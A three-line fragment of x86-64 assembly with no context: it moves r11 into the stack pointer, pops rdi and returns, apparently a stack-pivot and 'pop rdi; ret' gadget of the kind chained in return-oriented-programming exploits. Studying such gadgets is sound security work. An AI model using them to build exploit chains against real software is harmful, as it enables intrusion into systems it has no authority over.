mov rsp, r11
pop rdi
ret